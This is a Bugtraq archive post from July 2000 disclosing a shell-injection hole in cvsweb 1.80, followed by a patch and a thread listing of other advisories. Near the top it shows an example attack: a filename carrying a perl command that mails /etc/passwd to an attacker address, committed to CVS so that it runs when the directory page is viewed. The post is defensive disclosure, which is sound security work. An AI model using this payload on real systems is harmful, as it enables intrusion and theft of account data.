Bugtraq mailing list archives
cvsweb: remote shell for cvs committers
From: joey () KITENET NET (Joey Hess)
Date: Wed, 12 Jul 2000 14:34:27 -0700
Cvsweb 1.80 contains a hole that provides attackers who have write access to a cvs repository with shell access. Thus, attackers who have write access to a cvs repository but not shell access can obtain a shell. In addition, anyone with write access to a cvs repository that is viewable with cvsweb can get access to whatever user the cvsweb cgi script runs as (typically nobody or www-data, etc). An attack looks something like this: SHELLCODE="';perl -e '\$_=q{mail foo#bar.baz < !etc!passwd}; y:!#:\x2F\x40:; system \$_';'" touch $SHELLCODE cvs add $SHELLCODE cvs commit -m '' $SHELLCODE Then the attacker either visits the cvsweb page that is a directory listing for the directory they put the trojan file in, or they wait for someone else to do the same. Views of this page cause the command to be executed, mailing /etc/passwd to the attacker or [insert something more nasty here]. Of course, the attacker has left quite a trail: web server log entries and odd looking files in the cvs repository with the attacker's name on them. The code that is being exploited here is the following: open($fh, "rlog '$filenames' 2>/dev/null |") Cvsweb is littered with possibly exploitable pipe-opens like this one. A patch for all of them follows. This is against cvsweb 1.80 from <http://stud.fh-heilbronn.de/~zeller/cgi/cvsweb.cgi/> (version 1.86 has now been released, closing the hole). --- cvsweb.cgi 2000/05/24 07:10:31 1.10 +++ cvsweb.cgi 2000/07/07 03:32:21 @@ -1185,23 +1185,22 @@ } if (defined($rev)) { - $revopt = "-r'$rev'"; + $revopt = "-r$rev"; } else { $revopt = ""; } - # this may not be quoted with single quotes - # in windows .. but should in U*nx. there - # is a function which allows for quoting `evil` - # characters somewhere, I know (buried in the Perl-manpage) - ## ### just for the record: ### 'cvs co' seems to have a bug regarding single checkout of ### directories/files having spaces in it; ### this is an issue that should be resolved on cvs's side - open($fh, "cvs -d'$cvsroot' co -p $revopt '$where' 2>&1 |") || - &fatal("500 Internal Error", "Couldn't co: $!"); + # + # Safely fork a child process to read from. + if (! open($fh, "-|")) { # child + open(STDERR, ">&STDOUT"); # Redirect stderr to stdout + exec("cvs", "-d$cvsroot", "co", "-p", $revopt, $where); + } #=================================================================== #Checking out squid/src/ftp.c #RCS: /usr/src/CVS/squid/src/ftp.c,v @@ -1298,7 +1297,7 @@ sub doDiff { my($fullname, $r1, $tr1, $r2, $tr2, $f) = @_; my $fh = do {local(*FH);}; - my ($rev1, $rev2, $sym1, $sym2, $difftype, $diffname, $f1, $f2); + my ($rev1, $rev2, $sym1, $sym2, @difftype, $diffname, $f1, $f2); if ($r1 =~ /([^:]+)(:(.+))?/) { $rev1 = $1; @@ -1333,25 +1332,25 @@ } my $human_readable = 0; if ($f eq 'c') { - $difftype = '-c'; + @difftype = qw{-c}; $diffname = "Context diff"; } elsif ($f eq 's') { - $difftype = '--side-by-side --width=164'; + @difftype = qw{--side-by-side --width=164}; $diffname = "Side by Side"; } elsif ($f eq 'H') { $human_readable = 1; - $difftype = '--unified=15'; + @difftype = qw{--unified=15}; $diffname = "Long Human readable"; } elsif ($f eq 'h') { - $difftype = '-u'; + @difftype =qw{-u}; $human_readable = 1; $diffname = "Human readable"; } elsif ($f eq 'u') { - $difftype = '-u'; + @difftype = qw{-u}; $diffname = "Unidiff"; } else { @@ -1361,22 +1360,19 @@ # apply special options if ($human_readable) { if ($hr_funout) { - $difftype = $difftype . ' -p'; + push @difftype, '-p'; } if ($hr_ignwhite) { - $difftype = $difftype . ' -w'; + push @difftype, '-w'; } if ($hr_ignkeysubst) { - $difftype = $difftype . ' -kk'; + push @difftype, '-kk'; } } -## cvs rdiff doesn't support '-p' and '-w' option .. sad -# open($fh, "cvs -d $cvsroot rdiff $difftype " . -# "-r$rev1 -r$rev2 '$where' 2>&1 |") -# || &fatal("500 Internal Error", "Couldn't cvs rdiff: $!"); -### - open($fh, "rcsdiff $difftype -r$rev1 -r$rev2 '$fullname' 2>&1 |") - || &fatal("500 Internal Error", "Couldn't GNU rcsdiff: $!"); + if (! open($fh, "-|")) { # child + open(STDERR, ">&STDOUT"); # Redirect stderr to stdout + exec("rcsdiff",@difftype,"-r$rev1","-r$rev2",$fullname); + } if ($human_readable) { http_header(); &human_readable_diff($fh, $rev2); @@ -1402,7 +1398,7 @@ #--- src/sys/netinet/tcp_output.c 1995/12/05 17:46:35 1.17 RELENG_2_1_0 # (bogus example, but...) # - if ($difftype eq '-u') { + if (grep { $_ eq '-u'} @difftype) { $f1 = '---'; $f2 = '\+\+\+'; } @@ -1455,15 +1451,19 @@ return; } - my ($filenames) = join("' '",@files); if ($tag) { #can't use -r<tag> as - is allowed in tagnames, but misinterpreated by rlog.. - open($fh, "rlog '$filenames' 2>/dev/null |") - || &fatal("500 Internal Error", "Failed to spawn GNU rlog"); + if (! open($fh, "-|")) { + close(STDERR); # rlog may complain; ignore. + exec("rlog",@files); + } } else { - open($fh, "rlog -r '$filenames' 2>/dev/null |") - || &fatal("500 Internal Error", "Failed to spawn GNU rlog"); + my $kidpid = open($fh, "-|"); + if (! $kidpid) { + close(STDERR); # rlog may complain; ignore. + exec("rlog","-r",@files); + } } $state = "start"; while (<$fh>) { @@ -1591,7 +1591,7 @@ } if ($. == 0) { fatal("500 Internal Error", - "Failed to spawn GNU rlog on <em>'$filenames'</em><p>did you set the <b>\$ENV{PATH}</b> in your configuration file correctly ?"); + "Failed to spawn GNU rlog on <em>'".join(", ", @files)."'</em><p>did you set the <b>\$ENV{PATH}</b> in your configuration file correctly ?"); } close($fh); } @@ -1618,9 +1618,14 @@ undef %log; print("Going to rlog '$fullname'\n") if ($verbose); - open($fh, "rlog $revision '$fullname'|") - || &fatal("500 Internal Error", "Failed to spawn rlog"); - + if (! open($fh, "-|")) { # child + if ($revision ne '') { + exec("rlog",$revision,$fullname); + } + else { + exec("rlog",$fullname); + } + } while (<$fh>) { print if ($verbose); if ($symnames) { -- see shy jo
Current thread:
- Pollit CGI-script opens doors! The Warlock (Jul 11)
- Logdaemon ftpd and setproctitle() Wietse Venema (Jul 10)
- Re: Pollit CGI-script opens doors! jerry (Jul 11)
- REMOTE EXPLOIT IN ALL CURRENT VERSIONS OF BIG BROTHER Eric Hines (Jul 11)
- Re: REMOTE EXPLOIT IN ALL CURRENT VERSIONS OF BIG BROTHER Andrew L . Davis (Jul 11)
- Updated - Microsoft Security Bulletin (MS00-041) Microsoft Product Security (Jul 12)
- Netscape SmartDownload reports file information to AOL John L. Morello (Jul 12)
- RSA Aceserver UDP Flood Vulnerability Gwendolynn ferch Elydyr (Jul 12)
- ftp.pl vulnerability zillion @ safemode (Jul 12)
- ISC DHCP client v2 hole fixed...or not? Pavel Kankovsky (Jul 12)
- cvsweb: remote shell for cvs committers Joey Hess (Jul 12)
- FreeBSD Security Advisory: FreeBSD-SA-00:33.kerberosIV FreeBSD Security Advisories (Jul 12)
- eEye Digital Security ports nmap to Windows NT Marc (Jul 13)
- Lame DoS in WEBactive win65/NT server Prizm (Jul 13)
- Security Bulletins Digest patrick () PINE NL (Jul 13)
- More wIRCSrv stupidity Drew (Jul 13)
- Re: More wIRCSrv stupidity Alex Charalabidis (Jul 13)
- MDKSA-2000:019 cvsweb update Linux Mandrake Security Team (Jul 14)
- BIG BROTHER EXPLOIT Eric Hines (Jul 11)
- Re: Pollit CGI-script opens doors! Max Vision (Jul 11)
- Re: Pollit CGI-script opens doors! Simple Nomad (Jul 11)
(Thread continues...)